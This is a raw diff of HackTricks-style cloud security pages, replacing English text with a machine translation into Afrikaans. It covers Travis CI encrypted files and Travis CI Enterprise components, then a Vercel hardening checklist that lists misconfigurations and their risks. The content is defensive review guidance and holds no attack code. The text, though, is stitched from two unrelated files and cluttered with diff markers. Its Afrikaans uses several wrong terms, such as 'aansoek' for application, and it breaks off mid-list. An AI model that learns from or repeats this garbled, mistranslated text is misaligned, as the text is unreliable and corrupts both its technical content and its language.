travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -52,7 +49,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -60,36 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
Let wel dat wanneer 'n lêer geënkripteer word, 2 Omgewing Veranderlikes binne die repo geconfigureer sal word, soos:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan configureer en beveilig soos jy wil.
|
||||
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
**Travis CI Enterprise bestaan uit twee hoofdele:**
|
||||
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, bougoedkeuring, skedulering van bouwerk, ens.
|
||||
2. TCI **Werker** en bou omgewing beelde (ook genoem OS beelde).
|
||||
|
||||
**TCI Core services require the following:**
|
||||
**TCI Kern dienste vereis die volgende:**
|
||||
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
1. 'n **PostgreSQL11** (of later) databasis.
|
||||
2. 'n infrastruktuur om 'n Kubernetes-kluster te ontplooi; dit kan in 'n bedienerkluster of op 'n enkele masjien ontplooi word indien nodig.
|
||||
3. Afhangende van jou opstelling, wil jy dalk sommige van die komponente op jou eie ontplooi en configureer, bv. RabbitMQ - sien die [Instelling van Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) vir meer besonderhede.
|
||||
|
||||
**TCI Worker requires the following:**
|
||||
**TCI Werker vereis die volgende:**
|
||||
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
1. 'n infrastruktuur waar 'n docker beeld wat die **Werker en 'n gekoppelde boubeeld kan ontplooi**.
|
||||
2. Verbondenheid met sekere Travis CI Kern Dienste komponente - sien die [Instelling van Werker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) vir meer besonderhede.
|
||||
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
Die hoeveelheid ontplooide TCI Werker en bou omgewing OS beelde sal die totale gelyktydige kapasiteit van Travis CI Enterprise ontplooiing in jou infrastruktuur bepaal.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,439 +2,436 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
In Vercel is 'n **Span** die volledige **omgewing** wat aan 'n kliënt behoort en 'n **projek** is 'n **aansoek**.
|
||||
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
Vir 'n verhardingshersiening van **Vercel** moet jy vra vir 'n gebruiker met **Kykersroltoestemming** of ten minste **Projekkyker toestemming oor die projekte** om te kontroleer (in geval jy net die projekte en nie die Span konfigurasie ook hoef te kontroleer nie).
|
||||
|
||||
## Project Settings
|
||||
## Projekinstellings
|
||||
|
||||
### General
|
||||
### Algemeen
|
||||
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
**Doel:** Bestuur fundamentele projekinstellings soos projeknaam, raamwerk, en boukonfigurasies.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
- **Oordrag**
|
||||
- **Misconfigurasie:** Laat toe om die projek na 'n ander span oor te dra
|
||||
- **Risiko:** 'n Aanvaller kan die projek steel
|
||||
- **Verwyder Projek**
|
||||
- **Misconfigurasie:** Laat toe om die projek te verwyder
|
||||
- **Risiko:** Verwyder die projek
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
### Domeine
|
||||
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
**Doel:** Bestuur pasgemaakte domeine, DNS-instellings, en SSL-konfigurasies.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
- **DNS Konfigurasiefoute**
|
||||
- **Misconfigurasie:** Onkorrekte DNS rekords (A, CNAME) wat na kwaadwillige bedieners wys.
|
||||
- **Risiko:** Domein kaap, verkeersafluistering, en phishing-aanvalle.
|
||||
- **SSL/TLS Sertifikaatbestuur**
|
||||
- **Misconfigurasie:** Gebruik van swak of vervalde SSL/TLS sertifikate.
|
||||
- **Risiko:** Kwetsbaar vir man-in-the-middle (MITM) aanvalle, wat data integriteit en vertroulikheid in gevaar stel.
|
||||
- **DNSSEC Implementasie**
|
||||
- **Misconfigurasie:** Versuim om DNSSEC in te skakel of onkorrekte DNSSEC instellings.
|
||||
- **Risiko:** Verhoogde vatbaarheid vir DNS spoofing en cache vergiftiging aanvalle.
|
||||
- **Omgewing gebruik per domein**
|
||||
- **Misconfigurasie:** Verander die omgewing wat deur die domein in produksie gebruik word.
|
||||
- **Risiko:** Stel potensiële geheime of funksies bloot wat nie in produksie beskikbaar moet wees nie.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
### Omgewings
|
||||
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
**Doel:** Definieer verskillende omgewings (Ontwikkeling, Voorbeeld, Produksie) met spesifieke instellings en veranderlikes.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
- **Omgewing Isolasie**
|
||||
- **Misconfigurasie:** Deel omgewing veranderlikes oor omgewings.
|
||||
- **Risiko:** Lek van produksie geheime in ontwikkeling of voorbeeld omgewings, wat blootstelling verhoog.
|
||||
- **Toegang tot Sensitiewe Omgewings**
|
||||
- **Misconfigurasie:** Laat breë toegang tot produksie omgewings toe.
|
||||
- **Risiko:** Ongeoorloofde veranderinge of toegang tot lewende aansoeke, wat kan lei tot potensiële stilstand of datalekke.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
### Omgewing Veranderlikes
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur die aansoek gebruik word.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Blootstelling van Sensitiewe Veranderlikes**
|
||||
- **Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak.
|
||||
- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke.
|
||||
- **Sensitiewe gedeaktiveer**
|
||||
- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
|
||||
- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
|
||||
- **Gedeelde Omgewing Veranderlikes**
|
||||
- **Misconfigurasie:** Dit is omgewing veranderlikes wat op Span vlak gestel is en kan ook sensitiewe inligting bevat.
|
||||
- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
**Doel:** Konfigureer Git-repo integrasies, tak beskermings, en ontplooiing triggers.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
- **Ignorerende Bou Stap (TODO)**
|
||||
- **Misconfigurasie:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/kommando's te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat.
|
||||
- **Risiko:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
### Integrasies
|
||||
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
**Doel:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
- **Onveilige Derdeparty Integrasies**
|
||||
- **Misconfigurasie:** Integrasie met onbetroubare of onveilige derdeparty dienste.
|
||||
- **Risiko:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies.
|
||||
- **Oor-Toestemming Integrasies**
|
||||
- **Misconfigurasie:** Toekenning van oortollige toestemmings aan geïntegreerde dienste.
|
||||
- **Risiko:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings.
|
||||
- **Gebrek aan Integrasie Monitering**
|
||||
- **Misconfigurasie:** Versuim om derdeparty integrasies te monitor en te oudit.
|
||||
- **Risiko:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
### Ontplooiing Beskerming
|
||||
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
**Doel:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
**Vercel Authentication**
|
||||
**Vercel Verifikasie**
|
||||
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
- **Misconfigurasie:** Deaktiveer verifikasie of nie afdwing van spanlid kontroles nie.
|
||||
- **Risiko:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat kan lei tot datalekke of aansoek misbruik.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
**Beskerming Bypass vir Automatisering**
|
||||
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
- **Misconfigurasie:** Blootstelling van die bypass geheim publiek of gebruik van swak geheime.
|
||||
- **Risiko:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings.
|
||||
|
||||
**Shareable Links**
|
||||
**Deelbare Skakels**
|
||||
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
- **Misconfigurasie:** Deel skakels onverskillig of versuim om verouderde skakels te herroep.
|
||||
- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat verifikasie en IP beperkings omseil.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
**OPTIONS Toegestaanlys**
|
||||
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
- **Misconfigurasie:** Toegestaanlys oor-brede paaie of sensitiewe eindpunte.
|
||||
- **Risiko:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles te omseil.
|
||||
|
||||
**Password Protection**
|
||||
**Wagwoord Beskerming**
|
||||
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfigurasie:** Gebruik van swak wagwoorde of om dit onveilig te deel.
|
||||
- **Risiko:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word.
|
||||
- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
**Ontplooiing Beskerming Uitsonderings**
|
||||
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfigurasie:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys.
|
||||
- **Risiko:** Blootstelling van kritieke ontplooiings aan die publiek, wat kan lei tot datalekke of ongeoorloofde toegang.
|
||||
- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand.
|
||||
|
||||
**Trusted IPs**
|
||||
**Betroubare IP's**
|
||||
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
- **Misconfigurasie:** Onkorrek spesifisering van IP adresse of CIDR reekse.
|
||||
- **Risiko:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IP's wat toegang verkry.
|
||||
- **Nota:** Beskikbaar op die **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
||||
### Funksies
|
||||
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
**Doel:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Nothing**
|
||||
- **Niks**
|
||||
|
||||
---
|
||||
|
||||
### Data Cache
|
||||
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
**Doel:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
- **Misconfigurasie:** Dit laat toe om al die cache te verwyder.
|
||||
- **Risiko:** Ongeoorloofde gebruikers wat die cache verwyder wat kan lei tot 'n potensiële DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
**Doel:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
- **Deaktiveer Cron Job**
|
||||
- **Misconfigurasie:** Dit laat toe om cron jobs wat in die kode verklaar is te deaktiveer.
|
||||
- **Risiko:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
**Doel:** Konfigureer eksterne logging dienste om aansoek logs te vang en te stoor vir monitering en oudit.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- Nothing (managed from teams settings)
|
||||
- Niks (bestuur vanaf spaninstellings)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
### Sekuriteit
|
||||
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
**Doel:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
**Bou Logs en Bron Beskerming**
|
||||
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
- **Misconfigurasie:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek.
|
||||
- **Risiko:** Ongeoorloofde toegang tot bou logs en bronkode, wat kan lei tot inligting lekke en potensiële uitbuiting van kwesbaarhede.
|
||||
|
||||
**Git Fork Protection**
|
||||
**Git Fork Beskerming**
|
||||
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
- **Misconfigurasie:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings.
|
||||
- **Risiko:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
**Veilige Agtergrond Toegang met OIDC Federasie**
|
||||
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
- **Misconfigurasie:** Onkorrek opstel van OIDC parameters of gebruik van onveilige issuer URL's.
|
||||
- **Risiko:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige verifikasievloei.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
**Ontplooiing Bewaringsbeleid**
|
||||
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
- **Misconfigurasie:** Stel bewaring periodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data bewaring).
|
||||
- **Risiko:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van data blootstelling van ou ontplooiings.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
**Onlangs Verwyderde Ontplooiings**
|
||||
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
- **Misconfigurasie:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings staatmaak nie.
|
||||
- **Risiko:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
### Gevorderd
|
||||
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
**Doel:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
**Directory Listing**
|
||||
**Gidslys**
|
||||
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
- **Misconfigurasie:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer.
|
||||
- **Risiko:** Blootstelling van sensitiewe lêers, aansoekstruktuur, en potensiële toegangspunte vir aanvalle.
|
||||
|
||||
---
|
||||
|
||||
## Project Firewall
|
||||
## Projek Vuurmuur
|
||||
|
||||
### Firewall
|
||||
### Vuurmuur
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
**Aktiveer Aanval Uitdaag Modus**
|
||||
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
- **Misconfigurasie:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid.
|
||||
- **Risiko:** Potensiële gebruikerservaring probleme.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
### Pasgemaakte Reëls & IP Blokkering
|
||||
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
- **Misconfigurasie:** Laat toe om verkeer te ontblokkeer/blokkeer.
|
||||
- **Risiko:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer.
|
||||
|
||||
---
|
||||
|
||||
## Project Deployment
|
||||
## Projek Ontplooiing
|
||||
|
||||
### Source
|
||||
### Bron
|
||||
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
- **Misconfigurasie:** Laat toegang toe om die volledige bronkode van die aansoek te lees.
|
||||
- **Risiko:** Potensiële blootstelling van sensitiewe inligting.
|
||||
|
||||
### Skew Protection
|
||||
### Skew Beskerming
|
||||
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
- **Misconfigurasie:** Hierdie beskerming verseker dat die kliënt en bediener aansoek altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en hulle dus nie mekaar verstaan nie.
|
||||
- **Risiko:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak.
|
||||
|
||||
---
|
||||
|
||||
## Team Settings
|
||||
## Span Instellings
|
||||
|
||||
### General
|
||||
### Algemeen
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
- **Oordrag**
|
||||
- **Misconfigurasie:** Laat toe om al die projekte na 'n ander span oor te dra.
|
||||
- **Risiko:** 'n Aanvaller kan die projekte steel.
|
||||
- **Verwyder Projek**
|
||||
- **Misconfigurasie:** Laat toe om die span met al die projekte te verwyder.
|
||||
- **Risiko:** Verwyder die projekte.
|
||||
|
||||
---
|
||||
|
||||
### Billing
|
||||
### Fakturering
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
- **Spoed Inligting Koste Limiet**
|
||||
- **Misconfigurasie:** 'n Aanvaller kan hierdie nommer verhoog.
|
||||
- **Risiko:** Verhoogde koste.
|
||||
|
||||
---
|
||||
|
||||
### Members
|
||||
### Lede
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
- **Voeg lede by**
|
||||
- **Misconfigurasie:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer uit te nooi.
|
||||
- **Risiko:** Aanvaller volharding.
|
||||
- **Rolle**
|
||||
- **Misconfigurasie:** Toekenning van te veel toestemmings aan mense wat dit nie nodig het nie verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
|
||||
- **Risiko**: Verhoog die blootstelling van die Vercel Span.
|
||||
|
||||
---
|
||||
|
||||
### Access Groups
|
||||
### Toegangsgroepe
|
||||
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
'n **Toegangsgroep** in Vercel is 'n versameling van projekte en spanlede met vooraf gedefinieerde roltoewysings, wat sentraliseerde en gestroomlynde toegang bestuur oor verskeie projekte moontlik maak.
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
**Potensiële Misconfigurasies:**
|
||||
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
- **Oor-Toestemming Lede:** Toekenning van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies.
|
||||
